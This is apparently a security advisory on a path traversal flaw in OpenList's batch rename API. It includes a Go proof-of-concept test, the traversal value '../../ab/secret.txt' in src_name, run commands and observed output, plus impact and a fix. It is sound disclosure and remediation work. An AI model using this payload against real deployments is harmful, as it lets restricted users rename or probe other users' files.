### Summary The `/api/fs/batch_rename` handler validates and authorizes only the requested source directory. It rejects path separators in `new_name`, but it does not validate `src_name`. The handler concatenates `src_dir` and attacker-controlled `src_name`, then passes the result to the filesystem rename layer, where the path is normalized. An authenticated user with rename permission can set `src_name` to traversal segments such as `../../ab/secret.txt`. When the user's base path is `/team/a` and `src_dir` is `/writable`, the authorized directory becomes `/team/a/writable`, but the final source path normalizes to `/team/ab/secret.txt`. The file outside the user's base path is then renamed. ### Details The HTTP API registers filesystem management routes under the authenticated group: - `server/router.go:104` registers `_fs(auth.Group("/fs"))`. - `server/router.go:198` through `server/router.go:205` expose `/api/fs/batch_rename`. The vulnerable code is in `server/handles/fsbatch.go`: - `src_dir` is constrained through `user.JoinPath(req.SrcDir)` (`server/handles/fsbatch.go:170` through `server/handles/fsbatch.go:174`). - Write permission is checked only for that constrained directory (`server/handles/fsbatch.go:176` through `server/handles/fsbatch.go:185`). - The loop checks `renameObject.NewName` with `checkRelativePath`, but does not check `renameObject.SrcName` (`server/handles/fsbatch.go:186` through `server/handles/fsbatch.go:194`). - The handler builds `filePath := fmt.Sprintf("%s/%s", reqPath, renameObject.SrcName)` and passes it to `fs.Rename` (`server/handles/fsbatch.go:195` through `server/handles/fsbatch.go:196`). The single-file rename path shows the intended pattern: `checkRelativePath(req.Name)` rejects separators, empty strings, `.`, and `..` before renaming (`server/handles/fsmanage.go:284` through `server/handles/fsmanage.go:333`). Batch rename applies this protection to the destination name only, not to the source name. Lower layers normalize the source path before operating on it: - `utils.FixAndCleanPath` replaces backslashes with slashes, forces an absolute slash prefix, and calls `path.Clean` (`pkg/utils/path.go:18` through `pkg/utils/path.go:24`). - `JoinBasePath` rejects traversal in the original `src_dir`, not in the later concatenated `src_name` (`pkg/utils/path.go:80` through `pkg/utils/path.go:87`). False-positive checks performed: - The user in the PoC had only normal authenticated user role plus rename permission, not admin role. - The handler successfully authorized `/team/a/writable`, then renamed `/team/ab/secret.txt`, proving that the later source path escaped the authorized directory. - `new_name` validation remained in effect; the exploit uses traversal only in `src_name`. - The test checked the original sibling file disappeared and the renamed sibling file contained the same contents. ### PoC Safe local reproduction used a temporary in-memory sqlite database and temporary Local storage root. No external services were contacted by the PoC route; Go dependency/toolchain downloads may occur if the environment lacks cached modules. Add this temporary test under `server/handles/security_poc_test.go` in a clean checkout of the tested commit. If also testing the share finding, the helper functions can be shared between the two tests. ```go package handles import ( "bytes" "context" "encoding/json" "net/http" "net/http/httptest" "os" "path/filepath" "strings" "testing" _ "github.com/OpenListTeam/OpenList/v4/drivers/local" "github.com/OpenListTeam/OpenList/v4/internal/conf" "github.com/OpenListTeam/OpenList/v4/internal/db" "github.com/OpenListTeam/OpenList/v4/internal/model" "github.com/OpenListTeam/OpenList/v4/internal/op" "github.com/OpenListTeam/OpenList/v4/pkg/utils" "github.com/gin-gonic/gin" "github.com/glebarez/sqlite" "gorm.io/gorm" ) func setupSecurityPoCTest(t *testing.T, root string) *model.User { t.Helper() database, err := gorm.Open(sqlite.Open("file:"+t.Name()+"?mode=memory&cache=shared"), &gorm.Config{}) if err != nil { t.Fatal(err) } conf.Conf = conf.DefaultConfig(t.TempDir()) db.Init(database) addition, err := utils.Json.MarshalToString(map[string]string{"root_folder_path": root}) if err != nil { t.Fatal(err) } _, err = op.CreateStorage(context.Background(), model.Storage{Driver: "Local", MountPath: "/", Addition: addition}) if err != nil { t.Fatal(err) } user := &model.User{ Username: "alice", BasePath: "/team/a", Role: model.GENERAL, Permission: 1<<4 | 1<<14, } if err := db.CreateUser(user); err != nil { t.Fatal(err) } return user } func requestWithUser(t *testing.T, method, target string, body any, user *model.User) (*gin.Context, *httptest.ResponseRecorder) { t.Helper() payload, err := json.Marshal(body) if err != nil { t.Fatal(err) } recorder := httptest.NewRecorder() ctx, _ := gin.CreateTestContext(recorder) req := httptest.NewRequest(method, target, bytes.NewReader(payload)) req.Header.Set("Content-Type", "application/json") req = req.WithContext(context.WithValue(req.Context(), conf.UserKey, user)) ctx.Request = req return ctx, recorder } func TestPOCBatchRenameSrcNameTraversalEscapesUserBase(t *testing.T) { gin.SetMode(gin.TestMode) root := t.TempDir() if err := os.MkdirAll(filepath.Join(root, "team", "a", "writable"), 0o700); err != nil { t.Fatal(err) } if err := os.MkdirAll(filepath.Join(root, "team", "ab"), 0o700); err != nil { t.Fatal(err) } secretPath := filepath.Join(root, "team", "ab", "secret.txt") if err := os.WriteFile(secretPath, []byte("secret"), 0o600); err != nil { t.Fatal(err) } user := setupSecurityPoCTest(t, root) ctx, recorder := requestWithUser(t, http.MethodPost, "/api/fs/batch_rename", gin.H{ "src_dir": "/writable", "rename_objects": []gin.H{{ "src_name": "../../ab/secret.txt", "new_name": "renamed.txt", }}, }, user) FsBatchRename(ctx) if recorder.Code != http.StatusOK || !strings.Contains(recorder.Body.String(), `"code":200`) { t.Fatalf("expected batch rename success, status=%d body=%s", recorder.Code, recorder.Body.String()) } if _, err := os.Stat(secretPath); !os.IsNotExist(err) { t.Fatalf("expected original sibling file to be renamed, stat err=%v", err) } renamedPath := filepath.Join(root, "team", "ab", "renamed.txt") got, err := os.ReadFile(renamedPath) if err != nil { t.Fatalf("expected renamed sibling file at %s: %v", renamedPath, err) } if string(got) != "secret" { t.Fatalf("unexpected renamed file contents: %q", got) } } ``` Run: ```bash go test ./server/handles -run TestPOCBatchRenameSrcNameTraversalEscapesUserBase -v ``` Observed vulnerable output in this environment: ```text === RUN TestPOCBatchRenameSrcNameTraversalEscapesUserBase --- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s) PASS ok github.com/OpenListTeam/OpenList/v4/server/handles ``` Combined final confirmation command used during the audit: ```bash go test ./server/handles -run 'TestPOC(ShareCreateAcceptsSiblingPathOutsideUserBase|BatchRenameSrcNameTraversalEscapesUserBase)' -v ``` Observed combined output: ```text === RUN TestPOCShareCreateAcceptsSiblingPathOutsideUserBase --- PASS: TestPOCShareCreateAcceptsSiblingPathOutsideUserBase (0.01s) === RUN TestPOCBatchRenameSrcNameTraversalEscapesUserBase --- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s) PASS ok github.com/OpenListTeam/OpenList/v4/server/handles (cached) ``` Negative/control cases checked: - `src_dir` traversal is rejected by `user.JoinPath` because `JoinBasePath` detects relative traversal in the original request path. - `new_name` traversal is rejected by `checkRelativePath` because it contains `/`, `\\`, `.`, or `..` patterns. - The exploit succeeds because `src_name` is not passed through the same relative filename check before concatenation. Cleanup: ```bash rm server/handles/security_poc_test.go ``` ### Impact A restricted authenticated user can rename files outside the authorized source directory and outside their configured base path. In a multi-user deployment, a user confined to `/team/a` can rename a guessed sibling file such as `/team/ab/secret.txt` to `/team/ab/renamed.txt` by submitting traversal segments in `src_name`. This is an integrity violation against other users' files. It can also cause limited availability impact by moving files away from expected names, and it may reveal whether guessed out-of-base files exist based on success or error responses. ### Suggested remediation Validate `renameObject.SrcName` with the same relative filename constraints already applied to `renameObject.NewName`, or derive source objects only from a trusted directory listing of `reqPath`. A minimal fix is to call `checkRelativePath(renameObject.SrcName)` before constructing `filePath`. Add regression tests covering: - `src_name: "file.txt"` succeeds; - `src_name: "../secret.txt"` is denied; - `src_name: "../../ab/secret.txt"` is denied when base path is `/team/a` and `src_dir` is `/writable`; - `new_name` traversal remains denied. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)
